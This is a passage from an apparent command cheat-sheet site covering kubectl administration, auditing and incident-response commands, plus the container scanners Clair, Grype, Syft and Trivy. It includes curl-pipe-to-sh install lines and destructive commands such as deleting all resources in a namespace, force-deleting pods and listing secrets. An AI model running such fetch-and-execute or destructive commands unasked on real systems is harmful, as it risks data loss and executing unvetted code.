kubectl explain ``` Example: ```bash kubectl explain deployment.spec.strategy ``` Describes the fields and structure of a Kubernetes resource type. ## Scaling & Rollouts ### kubectl scale ```bash kubectl scale ``` Example: ```bash kubectl scale deployment/web --replicas=5 ``` Updates the replica count of a deployment, replicaset, or statefulset. ### kubectl autoscale ```bash kubectl autoscale ``` Example: ```bash kubectl autoscale deployment/web --min=2 --max=10 --cpu-percent=80 ``` Creates a HorizontalPodAutoscaler to automatically manage scale. ### kubectl rollout status ```bash kubectl rollout status ``` Example: ```bash kubectl rollout status daemonset/agent ``` Watches the status of a rollout until it is complete. ### kubectl rollout history ```bash kubectl rollout history ``` Example: ```bash kubectl rollout history deployment/web --revision=2 ``` Views the revision history of a rollout. ### kubectl rollout undo ```bash kubectl rollout undo ``` Example: ```bash kubectl rollout undo deployment/web --to-revision=1 ``` Rolls back a deployment to a previous revision. ### kubectl rollout restart ```bash kubectl rollout restart ``` Example: ```bash kubectl rollout restart deployment/web ``` Restarts a resource, triggering a new rollout without configuration changes. ### kubectl rollout pause ```bash kubectl rollout pause ``` Example: ```bash kubectl rollout pause deployment/web ``` Pauses a rollout to perform multiple changes before resuming. ### kubectl rollout resume ```bash kubectl rollout resume ``` Example: ```bash kubectl rollout resume deployment/web ``` Resumes a paused rollout. ## Config & Secrets ### kubectl create configmap ```bash kubectl create configmap ``` Example: ```bash kubectl create configmap app-config --from-file=config.properties ``` Creates a ConfigMap from a file, directory, or literal value. ### kubectl create secret generic ```bash kubectl create secret generic ``` Example: ```bash kubectl create secret generic db-pass --from-literal=password=safe ``` Creates a generic secret from literal values or files. ### kubectl create secret docker-registry ```bash kubectl create secret docker-registry ``` Example: ```bash kubectl create secret docker-registry regcred --docker-server=x --docker-username=user --docker-password=pass ``` Creates a secret for authenticating with a Docker registry. ### kubectl create secret tls ```bash kubectl create secret tls ``` Example: ```bash kubectl create secret tls tls-secret --cert=path/to/cert.crt --key=path/to/key.key ``` Creates a TLS secret from a certificate and key file. ## Modification & Patching ### kubectl label ```bash kubectl label ``` Example: ```bash kubectl label pods my-pod environment=production --overwrite ``` Updates the labels on a resource, optionally overwriting existing ones. ### kubectl annotate ```bash kubectl annotate ``` Example: ```bash kubectl annotate service my-service description="Load Balancer" --record ``` Updates the annotations on a resource. ### kubectl set image ```bash kubectl set image ``` Example: ```bash kubectl set image deployment/web nginx=nginx:1.19 ``` Updates the image of a container in a pod template. ### kubectl set env ```bash kubectl set env ``` Example: ```bash kubectl set env deployment/registry STORAGE_DIR=/local ``` Updates environment variables on a pod template. ### kubectl set resources ```bash kubectl set resources ``` Example: ```bash kubectl set resources deployment nginx -c=nginx --limits=cpu=200m,memory=512Mi ``` Specifies compute resource requirements for a container. ### kubectl edit ```bash kubectl edit ``` Example: ```bash kubectl edit svc/my-service ``` Edit a resource on the server using the default text editor. ### kubectl patch (merge) ```bash kubectl patch (merge) ``` Example: ```bash kubectl patch node k8s-node-1 -p '{"spec":{"unschedulable":true}}' ``` Update field(s) of a resource using strategic merge patch. ### kubectl patch (json) ```bash kubectl patch (json) ``` Example: ```bash kubectl patch deployment web --type='json' -p='[{"op": "replace", "path": "/spec/replicas", "value": 3}]' ``` Update resource using RFC 6902 JSON patch. ## Node Maintenance ### kubectl cordon ```bash kubectl cordon ``` Example: ```bash kubectl cordon node-1 ``` Mark node as unschedulable to prevent new pods from arriving. ### kubectl uncordon ```bash kubectl uncordon ``` Example: ```bash kubectl uncordon node-1 ``` Mark node as schedulable, allowing new pods to start. ### kubectl drain ```bash kubectl drain ``` Example: ```bash kubectl drain node-1 --ignore-daemonsets --delete-emptydir-data ``` Prepare node for maintenance by evicting all pods. ### kubectl taint ```bash kubectl taint ``` Example: ```bash kubectl taint nodes node1 key=value:NoSchedule ``` Update the taints on one or more nodes. ## Networking ### kubectl get endpoints ```bash kubectl get endpoints ``` Example: ```bash kubectl get endpoints my-service ``` Displays the endpoints (IP:Port) backing a service. ### kubectl get ingress ```bash kubectl get ingress ``` Example: ```bash kubectl get ingress --all-namespaces ``` Lists Ingress resources to view external access rules. ## Output Formatting ### kubectl get -o wide ```bash kubectl get -o wide ``` Example: ```bash kubectl get pods -o wide ``` Output in plain text with additional columns (e.g., Node, IP). ### kubectl get -o yaml ```bash kubectl get -o yaml ``` Example: ```bash kubectl get pod my-pod -o yaml ``` Output the full resource definition in YAML format. ### kubectl get -o json ```bash kubectl get -o json ``` Example: ```bash kubectl get pod my-pod -o json ``` Output the full resource definition in JSON format. ### kubectl get --show-labels ```bash kubectl get --show-labels ``` Example: ```bash kubectl get pods --show-labels ``` Include a column showing labels attached to resources. ### kubectl get --sort-by ```bash kubectl get --sort-by ``` Example: ```bash kubectl get pods --sort-by=.status.startTime ``` Sort list output by a specific JSONPath expression. ### kubectl get -o jsonpath (names) ```bash kubectl get -o jsonpath (names) ``` Example: ```bash kubectl get pods -o jsonpath='{.items[*].metadata.name}' ``` Extract and print specific fields using a JSONPath expression. ### kubectl get -o custom-columns ```bash kubectl get -o custom-columns ``` Example: ```bash kubectl get pods -o custom-columns=NAME:.metadata.name,IMAGE:.spec.containers[0].image ``` Define custom table columns based on field paths. ### kubectl get --no-headers ```bash kubectl get --no-headers ``` Example: ```bash kubectl get pods --no-headers ``` Suppress the header row in output, useful for scripts. ## Filtering ### kubectl get -l (label selector) ```bash kubectl get -l (label selector) ``` Example: ```bash kubectl get pods -l app=nginx,tier=frontend ``` Filter resources by label selector equality or set-based requirements. ### kubectl get --field-selector ```bash kubectl get --field-selector ``` Example: ```bash kubectl get pods --field-selector status.phase=Running ``` Filter resources based on the value of resource fields. ## Wait & Automation ### kubectl wait ```bash kubectl wait ``` Example: ```bash kubectl wait --for=condition=Ready pod/my-pod --timeout=60s ``` Wait for a specific condition on one or more resources. ### kubectl delete (wait) ```bash kubectl delete (wait) ``` Example: ```bash kubectl delete pod my-pod --wait=false ``` Delete resources without waiting for finalizer cleanup (returns immediately). ## RBAC & Security ### kubectl create serviceaccount ```bash kubectl create serviceaccount ``` Example: ```bash kubectl create serviceaccount my-sa ``` Creates a new ServiceAccount in the current namespace. ### kubectl create role ```bash kubectl create role ``` Example: ```bash kubectl create role pod-reader --verb=get,list --resource=pods ``` Creates a Role with specific permissions within a namespace. ### kubectl create rolebinding ```bash kubectl create rolebinding ``` Example: ```bash kubectl create rolebinding read-pods --role=pod-reader --user=jane ``` Binds a Role to a user or group in a specific namespace. ### kubectl create clusterrole ```bash kubectl create clusterrole ``` Example: ```bash kubectl create clusterrole node-reader --verb=get,list --resource=nodes ``` Creates a ClusterRole with permissions across the entire cluster. ### kubectl create clusterrolebinding ```bash kubectl create clusterrolebinding ``` Example: ```bash kubectl create clusterrolebinding read-nodes-global --clusterrole=node-reader --group=system:authenticated ``` Binds a ClusterRole to a user or group globally. ### kubectl auth can-i ```bash kubectl auth can-i ``` Example: ```bash kubectl auth can-i create pods ``` Checks if the current user has permission to perform an action. ### kubectl auth can-i (impersonate) ```bash kubectl auth can-i (impersonate) ``` Example: ```bash kubectl auth can-i list secrets --as=jane --as-group=devs ``` Checks permissions impersonating another user or group. ### kubectl auth reconcile ```bash kubectl auth reconcile ``` Example: ```bash kubectl auth reconcile -f rbac-policy.yaml ``` Patches RBAC roles and bindings to match the input file if safe. ### kubectl certificate approve ```bash kubectl certificate approve ``` Example: ```bash kubectl certificate approve my-csr ``` Approves a CertificateSigningRequest (CSR). ### kubectl certificate deny ```bash kubectl certificate deny ``` Example: ```bash kubectl certificate deny my-csr ``` Denies a CertificateSigningRequest (CSR). ## Events & Diagnostics ### kubectl get events ```bash kubectl get events ``` Example: ```bash kubectl get events --sort-by='.lastTimestamp' ``` Lists recent events in the namespace, sorted by time. ### kubectl get events (watch) ```bash kubectl get events (watch) ``` Example: ```bash kubectl get events --watch-only ``` Streams events as they happen without listing history. ## Advanced Debugging ### kubectl debug (node) ```bash kubectl debug (node) ``` Example: ```bash kubectl debug node/worker-1 -it --image=busybox ``` Creates a debugging pod on a node to troubleshoot host issues. ### kubectl debug (pod) ```bash kubectl debug (pod) ``` Example: ```bash kubectl debug -it pod/my-pod --image=busybox --target=app-container ``` Attaches a new container to a running pod for debugging purposes. ### kubectl alpha events ```bash kubectl alpha events ``` Example: ```bash kubectl alpha events --for=pod/nginx ``` Experimental command to view events filtered for a specific object. ## Raw API Access ### kubectl get --raw ```bash kubectl get --raw ``` Example: ```bash kubectl get --raw /metrics ``` Sends a raw GET request to the Kubernetes API server. ### kubectl proxy ```bash kubectl proxy ``` Example: ```bash kubectl proxy --port=8001 ``` Creates a proxy server between localhost and the Kubernetes API server. ## Plugin Management ### kubectl plugin list ```bash kubectl plugin list ``` Lists all available kubectl plugins installed in the path. ## Cluster Management ### kubectl delete node ```bash kubectl delete node ``` Example: ```bash kubectl delete node worker-1 ``` Removes a node object from the cluster (does not terminate VM). ## Cleanup ### kubectl delete pods (force) ```bash kubectl delete pods (force) ``` Example: ```bash kubectl delete pod my-pod --grace-period=0 --force ``` Forcefully deletes a pod, bypassing graceful termination. ### kubectl delete evictions ```bash kubectl delete evictions ``` Example: ```bash kubectl delete pod --field-selector=status.phase=Failed -A ``` Deletes all failed pods across all namespaces (common cleanup task). ## Blue Team/Defense ### kubectl get pod (security context) ```bash kubectl get pod (security context) ``` Example: ```bash kubectl get pods -o jsonpath='{.items[*].spec.securityContext}' ``` Audits the security context of running pods to find misconfigurations. ### kubectl get psp ```bash kubectl get psp ``` Lists PodSecurityPolicies (if enabled) to verify admission controls. ### kubectl get networkpolicies ```bash kubectl get networkpolicies ``` Example: ```bash kubectl get networkpolicies --all-namespaces ``` Audits network segmentation rules across the cluster. ### kubectl get clusterrolebindings (audit) ```bash kubectl get clusterrolebindings (audit) ``` Example: ```bash kubectl get clusterrolebindings -o custom-columns=NAME:.metadata.name,ROLE:.roleRef.name,SUBJECT:.subjects[*].name ``` Audits global permissions to identify privileged users. ## Incident Response ### kubectl get pods (by time) ```bash kubectl get pods (by time) ``` Example: ```bash kubectl get pods --sort-by=.metadata.creationTimestamp ``` Lists pods ordered by creation time to identify recently launched rogue containers. ### kubectl get secrets (audit) ```bash kubectl get secrets (audit) ``` Example: ```bash kubectl get secrets -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.type}{"\n"}{end}' ``` Lists secrets and their types to audit for exposed credentials. ### kubectl delete (cascade false) ```bash kubectl delete (cascade false) ``` Example: ```bash kubectl delete deployment nginx --cascade=orphan ``` Deletes the deployment controller but leaves the pods running for investigation. ## Advanced Workflow ### kubectl cp (snapshot) ```bash kubectl cp (snapshot) ``` Example: ```bash kubectl cp my-pod:/var/log/app.log ./evidence.log ``` Extracts logs or files from a compromised pod for forensic analysis. ### kubectl patch (finalizers) ```bash kubectl patch (finalizers) ``` Example: ```bash kubectl patch pvc my-pvc -p '{"metadata":{"finalizers":null}}' ``` Removes finalizers to force deletion of stuck resources. ### kubectl diff (server-side) ```bash kubectl diff (server-side) ``` Example: ```bash kubectl diff -f manifest.yaml --server-side ``` Previews changes using server-side apply logic. ### kubectl replace (force) ```bash kubectl replace (force) ``` Example: ```bash kubectl replace --force -f pod.yaml ``` Forces resource replacement by deleting and recreating it immediately. ### kubectl get (watch) ```bash kubectl get (watch) ``` Example: ```bash kubectl get pods -w ``` Watches for changes to the list of pods in real-time. ### kubectl completion bash ```bash kubectl completion bash ``` Example: ```bash source <(kubectl completion bash) ``` Generates and sources the bash auto-completion code for the current shell. ### kubectl completion zsh ```bash kubectl completion zsh ``` Example: ```bash source <(kubectl completion zsh) ``` Generates and sources the zsh auto-completion code. ### kubectl convert ```bash kubectl convert ``` Example: ```bash kubectl convert -f deployment.yaml --output-version apps/v1 ``` Converts config files between different API versions (requires plugin). ## Metrics & Discovery ### kubectl get --raw (nodes) ```bash kubectl get --raw (nodes) ``` Example: ```bash kubectl get --raw /api/v1/nodes/node1/proxy/metrics ``` Fetches raw metrics directly from a specific node. ## Complex Filtering ### kubectl get (jsonpath conditional) ```bash kubectl get (jsonpath conditional) ``` Example: ```bash kubectl get nodes -o jsonpath='{.items[?(@.spec.unschedulable)].metadata.name}' ``` Lists only nodes that are currently cordon/unschedulable. ### kubectl get (custom columns images) ```bash kubectl get (custom columns images) ``` Example: ```bash kubectl get pods -A -o custom-columns='NS:.metadata.namespace,POD:.metadata.name,IMAGE:.spec.containers[*].image' ``` Audits all images running across the entire cluster. ## Service Mesh / Sidecar ### kubectl describe (sidecar) ```bash kubectl describe (sidecar) ``` Example: ```bash kubectl describe pod my-pod | grep -A 10 'istio-proxy' ``` Inspects sidecar container details often used in service meshes. ## API Discovery ### kubectl explain (recursive) ```bash kubectl explain (recursive) ``` Example: ```bash kubectl explain deployment.spec --recursive ``` Recursively prints all fields and sub-fields for a resource spec. ## Lifecycle Management ### kubectl drain (force) ```bash kubectl drain (force) ``` Example: ```bash kubectl drain node-1 --force --ignore-daemonsets ``` Forces a node drain even if there are pods not managed by a controller. ## Security Auditing ### kubectl auth can-i (list) ```bash kubectl auth can-i (list) ``` Example: ```bash kubectl auth can-i --list --as=system:serviceaccount:ns:sa ``` Lists all allowed actions for a specific service account. ## Resource Tuning ### kubectl set serviceaccount ```bash kubectl set serviceaccount ``` Example: ```bash kubectl set serviceaccount deployment/web my-sa ``` Updates the service account used by a workload resource. ## Connectivity Check ### kubectl run (curl) ```bash kubectl run (curl) ``` Example: ```bash kubectl run curl-test --image=curlimages/curl -it --rm -- sh ``` Launches a temporary curl pod to test internal cluster connectivity. ### kubectl run (dns) ```bash kubectl run (dns) ``` Example: ```bash kubectl run dns-test --image=busybox -it --rm -- nslookup kubernetes.default ``` Launches a temporary pod to verify internal DNS resolution. ## Final Cleanup ### kubectl delete all ```bash kubectl delete all ``` Example: ```bash kubectl delete all --all -n test-ns ``` Deletes all resources in a namespace (use with extreme caution). ## Related tools - [kube-bench](https://terminal.rokibulroni.com/tool/cloud/kube-bench) - [kube-hunter](https://terminal.rokibulroni.com/tool/cloud/kube-hunter) - [Docker](https://terminal.rokibulroni.com/tool/cloud/docker) # Tool: Clair > An open-source service for static analysis of vulnerabilities in container images, typically used with registries via clairctl. - Category: Containers - Commands: 13 - Page: https://terminal.rokibulroni.com/tool/containers/clair - Homepage: https://github.com/quay/clair - Documentation: https://quay.github.io/clair/ - Tags: vulnerability scanning, containers, registry ## Install - docker: `docker pull quay.io/projectquay/clair:latest` ## Reports ### clairctl report ```bash clairctl report ``` Example: ```bash clairctl report quay.io/org/app:latest ``` Submits an image’s manifest to a Clair server and prints the vulnerabilities it finds. ### clairctl report -o json ```bash clairctl report -o json ``` Example: ```bash clairctl report -o json quay.io/org/app:latest ``` JSON output for scripting. ### clairctl report -o xml ```bash clairctl report -o xml ``` Example: ```bash clairctl report -o xml app:latest ``` XML output (for example for older CI plug-ins). ### clairctl --host report ```bash clairctl --host report ``` Example: ```bash clairctl --host http://clair.internal:6060 report app:latest ``` Points at a specific Clair instance. ### clairctl -D report ```bash clairctl -D report ``` Debug logging, useful when an image fails to index. ## Server ### clair -conf ```bash clair -conf ``` Example: ```bash clair -conf /etc/clair/config.yaml ``` Starts Clair. The mode setting (combo, indexer, matcher, notifier) decides which services run. ### docker run -p 6060:6060 -v :/config quay.io/projectquay/clair: -conf /config/config.yaml ```bash docker run -p 6060:6060 -v :/config quay.io/projectquay/clair: -conf /config/config.yaml ``` Example: ```bash docker run -p 6060:6060 -v $PWD:/config quay.io/projectquay/clair:4.8.0 -conf /config/config.yaml ``` Runs Clair in a container. It needs a PostgreSQL database configured in config.yaml. ### curl http://:6061/healthz ```bash curl http://:6061/healthz ``` Example: ```bash curl http://localhost:6061/healthz ``` Checks the introspection health endpoint. ### curl http://:6061/metrics ```bash curl http://:6061/metrics ``` Example: ```bash curl http://localhost:6061/metrics ``` Prometheus metrics, including indexing and matching latency. ## Offline databases ### clairctl export-updaters ```bash clairctl export-updaters ``` Example: ```bash clairctl export-updaters updates.json.gz ``` Downloads vulnerability data on a connected machine for an air-gapped install. ### clairctl import-updaters ```bash clairctl import-updaters ``` Example: ```bash clairctl import-updaters updates.json.gz ``` Imports exported vulnerability data into an offline Clair database. ## API ### curl -X POST http://:6060/indexer/api/v1/index_report -d @ ```bash curl -X POST http://:6060/indexer/api/v1/index_report -d @ ``` Example: ```bash curl -X POST http://localhost:6060/indexer/api/v1/index_report -d @manifest.json ``` Indexes an image manifest directly through the API. ### curl http://:6060/matcher/api/v1/vulnerability_report/ ```bash curl http://:6060/matcher/api/v1/vulnerability_report/ ``` Example: ```bash curl http://localhost:6060/matcher/api/v1/vulnerability_report/sha256:abc… ``` Fetches the vulnerability report for an indexed manifest digest. ## Related tools - [Trivy](https://terminal.rokibulroni.com/tool/containers/trivy) - [Grype](https://terminal.rokibulroni.com/tool/containers/grype) # Tool: Grype > Anchore’s vulnerability scanner for container images and filesystems; pairs naturally with Syft SBOMs. - Category: Containers - Commands: 19 - Page: https://terminal.rokibulroni.com/tool/containers/grype - Homepage: https://github.com/anchore/grype - Documentation: https://github.com/anchore/grype#readme - Tags: vulnerability scanning, containers, SBOM ## Install - brew: `brew install grype` - other: `curl -sSfL https://raw.githubusercontent.com/anchore/grype/main/install.sh | sh -s -- -b /usr/local/bin` ## Scanning ### grype ```bash grype ``` Example: ```bash grype nginx:1.27 ``` Scans a container image (pulled from a registry or the local Docker daemon) and lists vulnerable packages with severity and fixed versions. ### grype dir: ```bash grype dir: ``` Example: ```bash grype dir:./app ``` Scans a directory on disk, such as a project with lock files. ### grype sbom: ```bash grype sbom: ``` Example: ```bash grype sbom:./sbom.spdx.json ``` Scans an existing SBOM instead of the image — fast and repeatable. ### grype docker-archive: ```bash grype docker-archive: ``` Example: ```bash grype docker-archive:image.tar ``` Scans an image saved with docker save. ### grype registry: ```bash grype registry: ``` Example: ```bash grype registry:ghcr.io/org/app:latest ``` Pulls directly from a registry without needing a Docker daemon. ### grype --scope all-layers ```bash grype --scope all-layers ``` Example: ```bash grype python:3.12 --scope all-layers ``` Also reports packages removed in later layers but still present in the image. ### grype --platform ```bash grype --platform ``` Example: ```bash grype alpine:3.20 --platform linux/arm64 ``` Scans a specific platform variant of a multi-arch image. ## Filtering and CI ### grype --only-fixed ```bash grype --only-fixed ``` Example: ```bash grype node:20 --only-fixed ``` Shows only vulnerabilities that already have a fix available — the actionable list. ### grype --fail-on ```bash grype --fail-on ``` Example: ```bash grype app:latest --fail-on high ``` Exits with status 1 if anything at or above the severity is found, failing a CI job. ### grype --ignore-states ```bash grype --ignore-states ``` Example: ```bash grype app:latest --ignore-states wont-fix,unknown ``` Hides findings whose fix state you have accepted. ### grype -c ```bash grype -c ``` Example: ```bash grype app:latest -c .grype.yaml ``` Uses a config file, for example with an ignore list of accepted CVEs. ## Output ### grype -o json ```bash grype -o json ``` Example: ```bash grype app:latest -o json > grype.json ``` Machine-readable JSON with full match details. ### grype -o sarif ```bash grype -o sarif ``` Example: ```bash grype app:latest -o sarif > grype.sarif ``` SARIF for GitHub code scanning and other tools. ### grype -o cyclonedx ```bash grype -o cyclonedx ``` Example: ```bash grype app:latest -o cyclonedx ``` A CycloneDX document with vulnerability data. ### grype -o template -t ```bash grype -o template -t ``` Example: ```bash grype app:latest -o template -t html.tmpl > report.html ``` Renders a custom Go template, for example an HTML report. ## Database ### grype db status ```bash grype db status ``` Shows the vulnerability database version and when it was built. ### grype db update ```bash grype db update ``` Downloads the latest database. ### grype db check ```bash grype db check ``` Reports whether a newer database is available. ### grype explain --id < ```bash grype explain --id < ``` Example: ```bash grype app:latest -o json | grype explain --id CVE-2024-3094 ``` Explains why a CVE matched and which packages it affects. ## Related tools - [Syft](https://terminal.rokibulroni.com/tool/containers/syft) - [Trivy](https://terminal.rokibulroni.com/tool/containers/trivy) - [Clair](https://terminal.rokibulroni.com/tool/containers/clair) # Tool: Syft > Generates a software bill of materials (SBOM) from container images and filesystems in SPDX, CycloneDX and other formats. - Category: Containers - Commands: 17 - Page: https://terminal.rokibulroni.com/tool/containers/syft - Homepage: https://github.com/anchore/syft - Documentation: https://github.com/anchore/syft/wiki - Tags: SBOM, containers, supply chain ## Install - brew: `brew install syft` - other: `curl -sSfL https://raw.githubusercontent.com/anchore/syft/main/install.sh | sh -s -- -b /usr/local/bin` ## Generating SBOMs ### syft ```bash syft ``` Example: ```bash syft nginx:1.27 ``` Lists every package found in an image as a table. ### syft dir: ```bash syft dir: ``` Example: ```bash syft dir:. ``` Catalogues a directory — lock files, manifests and binaries. ### syft file: ```bash syft file: ``` Example: ```bash syft file:./app.jar ``` Catalogues a single file such as a JAR or binary. ### syft docker-archive: ```bash syft docker-archive: ``` Example: ```bash syft docker-archive:image.tar ``` Reads an image saved with docker save. ### syft registry: ```bash syft registry: ``` Example: ```bash syft registry:ghcr.io/org/app:latest ``` Pulls straight from a registry without a Docker daemon. ### syft --scope all-layers ```bash syft --scope all-layers ``` Example: ```bash syft app:latest --scope all-layers ``` Includes packages from every layer, even ones deleted later. ### syft --exclude ```bash syft --exclude ``` Example: ```bash syft dir:. --exclude './node_modules/**' ``` Skips paths you do not want catalogued. ## Formats ### syft -o spdx-json ```bash syft -o spdx-json ``` Example: ```bash syft app:latest -o spdx-json > sbom.spdx.json ``` SPDX JSON, a widely accepted SBOM standard. ### syft -o cyclonedx-json ```bash syft -o cyclonedx-json ``` Example: ```bash syft app:latest -o cyclonedx-json > sbom.cdx.json ``` CycloneDX JSON, preferred by many security platforms. ### syft -o syft-json ```bash syft -o syft-json ``` Example: ```bash syft app:latest -o syft-json > sbom.json ``` Syft’s own lossless format with the most detail. ### syft -o table -o spdx-json= ```bash syft -o table -o spdx-json= ``` Example: ```bash syft app:latest -o table -o spdx-json=sbom.json ``` Writes several formats in one run. ### syft convert -o ```bash syft convert -o ``` Example: ```bash syft convert sbom.json -o cyclonedx-json ``` Converts an existing SBOM between formats. ## Inspecting ### syft -o json | jq '.artifacts[] | {name, version, type}' ```bash syft -o json | jq '.artifacts[] | {name, version, type}' ``` Example: ```bash syft alpine -o json | jq '.artifacts[] | {name, version, type}' ``` Extracts package names, versions and ecosystems with jq. ### syft --select-catalogers ```bash syft --select-catalogers ``` Example: ```bash syft dir:. --select-catalogers python ``` Runs only particular catalogers, such as Python or Java. ### syft cataloger list ```bash syft cataloger list ``` Lists all available catalogers. ## Attestation ### syft attest --output spdx-json ```bash syft attest --output spdx-json ``` Example: ```bash syft attest --output spdx-json ghcr.io/org/app:1.0 ``` Generates an SBOM and signs it as an in-toto attestation with cosign. ### syft -o spdx-json | grype ```bash syft -o spdx-json | grype ``` Pipes the SBOM straight into Grype for vulnerability matching. ## Related tools - [Grype](https://terminal.rokibulroni.com/tool/containers/grype) - [Trivy](https://terminal.rokibulroni.com/tool/containers/trivy) # Tool: Trivy > Aqua’s all-in-one scanner for vulnerabilities, misconfigurations, secrets and licenses in container images, filesystems, repositories, IaC and Kubernetes. - Category: Containers - Commands: 115 - Page: https://terminal.rokibulroni.com/tool/containers/trivy - Homepage: https://trivy.dev - Documentation: https://trivy.dev/latest/docs/ - Tags: vulnerability scanning, containers, IaC, SBOM ## Install - apt: `sudo apt install trivy` - brew: `brew install trivy` - docker: `docker run --rm aquasec/trivy image ` ## Basic Usage ### trivy --help ```bash trivy --help ``` Displays the main help menu and available subcommands for Trivy. ### trivy version ```bash trivy version ``` Checks the installed version of Trivy to ensure it is up to date. ## Basic Image Scan ### trivy image [IMAGE_NAME] ```bash trivy image [IMAGE_NAME] ``` Example: ```bash trivy image alpine:latest ``` Performs a standard vulnerability scan on a container image using the default database. ### trivy image [IMAGE_ID] ```bash trivy image [IMAGE_ID] ``` Example: ```bash trivy image 9c6f07244728 ``` Scans a local container image referenced by its specific Image ID. ## Filesystem Scan ### trivy fs [DIRECTORY] ```bash trivy fs [DIRECTORY] ``` Example: ```bash trivy fs . ``` Scans the current directory and subdirectories for dependencies and lock files. ## Repository Scan ### trivy repo [REPO_URL] ```bash trivy repo [REPO_URL] ``` Example: ```bash trivy repo https://github.com/knqyf263/trivy-ci-test ``` Clones and scans a remote Git repository for vulnerabilities in one step. ## Configuration Scan ### trivy config [DIRECTORY] ```bash trivy config [DIRECTORY] ``` Example: ```bash trivy config ./k8s-manifests ``` Scans Infrastructure as Code (IaC) files like Terraform and Kubernetes manifests for misconfigurations. ## Severity Filtering ### trivy image --severity [LEVELS] [IMAGE] ```bash trivy image --severity [LEVELS] [IMAGE] ``` Example: ```bash trivy image --severity HIGH,CRITICAL nginx:latest ``` Filters scan results to show only vulnerabilities matching the specified severity levels. ## Vulnerability Filtering ### trivy image --ignore-unfixed [IMAGE] ```bash trivy image --ignore-unfixed [IMAGE] ``` Example: ```bash trivy image --ignore-unfixed python:3.9 ``` Hides vulnerabilities that do not yet have a patch or fix available. ## Vulnerability Types ### trivy image --vuln-type [TYPES] [IMAGE] ```bash trivy image --vuln-type [TYPES] [IMAGE] ``` Example: ```bash trivy image --vuln-type os debian:buster ``` Restricts the scan to Operating System package vulnerabilities only. ### trivy image --vuln-type library [IMAGE] ```bash trivy image --vuln-type library [IMAGE] ``` Example: ```bash trivy image --vuln-type library node:14 ``` Restricts the scan to application dependency vulnerabilities (e.g., npm, pip, gomod). ## Secrets Scanning ### trivy fs --scanners secret [DIRECTORY] ```bash trivy fs --scanners secret [DIRECTORY] ``` Example: ```bash trivy fs --scanners secret ./src ``` Scans the filesystem specifically for hardcoded secrets, keys, and passwords. ## License Scanning ### trivy fs --scanners license [DIRECTORY] ```bash trivy fs --scanners license [DIRECTORY] ``` Example: ```bash trivy fs --scanners license ./src ``` Scans the filesystem to classify and detect software licenses in dependencies. ## Combined Scanners ### trivy image --scanners vuln,secret,misconfig [IMAGE] ```bash trivy image --scanners vuln,secret,misconfig [IMAGE] ``` Example: ```bash trivy image --scanners vuln,secret,misconfig my-app:latest ``` Runs vulnerability, secret detection, and misconfiguration scans simultaneously on an image. ## Output Formatting ### trivy image --format json --output [FILE] [IMAGE] ```bash trivy image --format json --output [FILE] [IMAGE] ``` Example: ```bash trivy image --format json --output result.json alpine:latest ``` Outputs the scan results in raw JSON format to a specified file. ### trivy image --format table [IMAGE] ```bash trivy image --format table [IMAGE] ``` Example: ```bash trivy image --format table alpine:latest ``` Displays scan results in a human-readable table format in the terminal (default). ### trivy image --format sarif --output [FILE] [IMAGE] ```bash trivy image --format sarif --output [FILE] [IMAGE] ``` Example: ```bash trivy image --format sarif --output results.sarif golang:1.16 ``` Generates a SARIF report suitable for integration with GitHub Security code scanning. ## SBOM Generation ### trivy image --format cyclonedx --output [FILE] [IMAGE] ```bash trivy image --format cyclonedx --output [FILE] [IMAGE] ``` Example: ```bash trivy image --format cyclonedx --output sbom.json node:lts ``` Generates a CycloneDX Software Bill of Materials (SBOM) from a container image. ### trivy image --format spdx-json --output [FILE] [IMAGE] ```bash trivy image --format spdx-json --output [FILE] [IMAGE] ``` Example: ```bash trivy image --format spdx-json --output sbom.spdx.json python:3.8 ``` Generates an SPDX JSON Software Bill of Materials (SBOM) from a container image. ## SBOM Scanning ### trivy sbom [FILE] ```bash trivy sbom [FILE] ``` Example: ```bash trivy sbom ./sbom.json ``` Scans a pre-generated SBOM file for vulnerabilities without re-analyzing the original image. ## CI/CD Integration ### trivy image --exit-code 1 --severity CRITICAL [IMAGE] ```bash trivy image --exit-code 1 --severity CRITICAL [IMAGE] ``` Example: ```bash trivy image --exit-code 1 --severity CRITICAL web-app:v1 ``` Forces the process to exit with code 1 if CRITICAL vulnerabilities are found, breaking the build. ### trivy image --exit-code 0 --severity HIGH [IMAGE] ```bash trivy image --exit-code 0 --severity HIGH [IMAGE] ``` Example: ```bash trivy image --exit-code 0 --severity HIGH web-app:v1 ``` Logs HIGH severity vulnerabilities but exits with code 0 to allow the build pipeline to continue. ## Ignore Files ### trivy image --ignorefile [FILE] [IMAGE] ```bash trivy image --ignorefile [FILE] [IMAGE] ``` Example: ```bash trivy image --ignorefile .trivyignore alpine:latest ``` Scans an image while excluding specific vulnerabilities defined in a .trivyignore file. ## Database Management ### trivy image --download-db-only ```bash trivy image --download-db-only ``` Downloads the vulnerability database to the cache without performing a scan. ### trivy image --reset ```bash trivy image --reset ``` Resets the vulnerability database and clears the cache to fix corruption or force an update. ## Offline Scanning ### trivy image --offline-scan [IMAGE] ```bash trivy image --offline-scan [IMAGE] ``` Example: ```bash trivy image --offline-scan centos:7 ``` Scans using the currently cached database without attempting to reach the internet. ## Skipping Resources ### trivy image --skip-db-update [IMAGE] ```bash trivy image --skip-db-update [IMAGE] ``` Example: ```bash trivy image --skip-db-update redis:alpine ``` Skips the vulnerability database update step to speed up repeated scans. ### trivy fs --skip-dirs [DIRS] [PATH] ```bash trivy fs --skip-dirs [DIRS] [PATH] ``` Example: ```bash trivy fs --skip-dirs node_modules,dist . ``` Excludes specified directories from the filesystem scan to reduce noise and time. ### trivy fs --skip-files [FILES] [PATH] ```bash trivy fs --skip-files [FILES] [PATH] ``` Example: ```bash trivy fs --skip-files package-lock.json . ``` Excludes specific files from being parsed during a filesystem scan. ## Archive Scanning ### trivy image --input [FILE] ```bash trivy image --input [FILE] ``` Example: ```bash trivy image --input image.tar ``` Scans a container image exported as a tar archive (e.g., from docker save). ## Private Registry ### trivy image [REGISTRY_IMAGE] ```bash trivy image [REGISTRY_IMAGE] ``` Example: ```bash export TRIVY_USERNAME=user TRIVY_PASSWORD=pass; trivy image private.registry.com/app:v1 ``` Scans an image from a private registry using environment variables for authentication. ## Kubernetes Scanning ### trivy k8s cluster --report summary ```bash trivy k8s cluster --report summary ``` Scans the entire connected Kubernetes cluster and outputs a summary report. ### trivy k8s --namespace [NS] all ```bash trivy k8s --namespace [NS] all ``` Example: ```bash trivy k8s --namespace kube-system all ``` Scans all resources (pods, deployments, services) within a specific Kubernetes namespace. ### 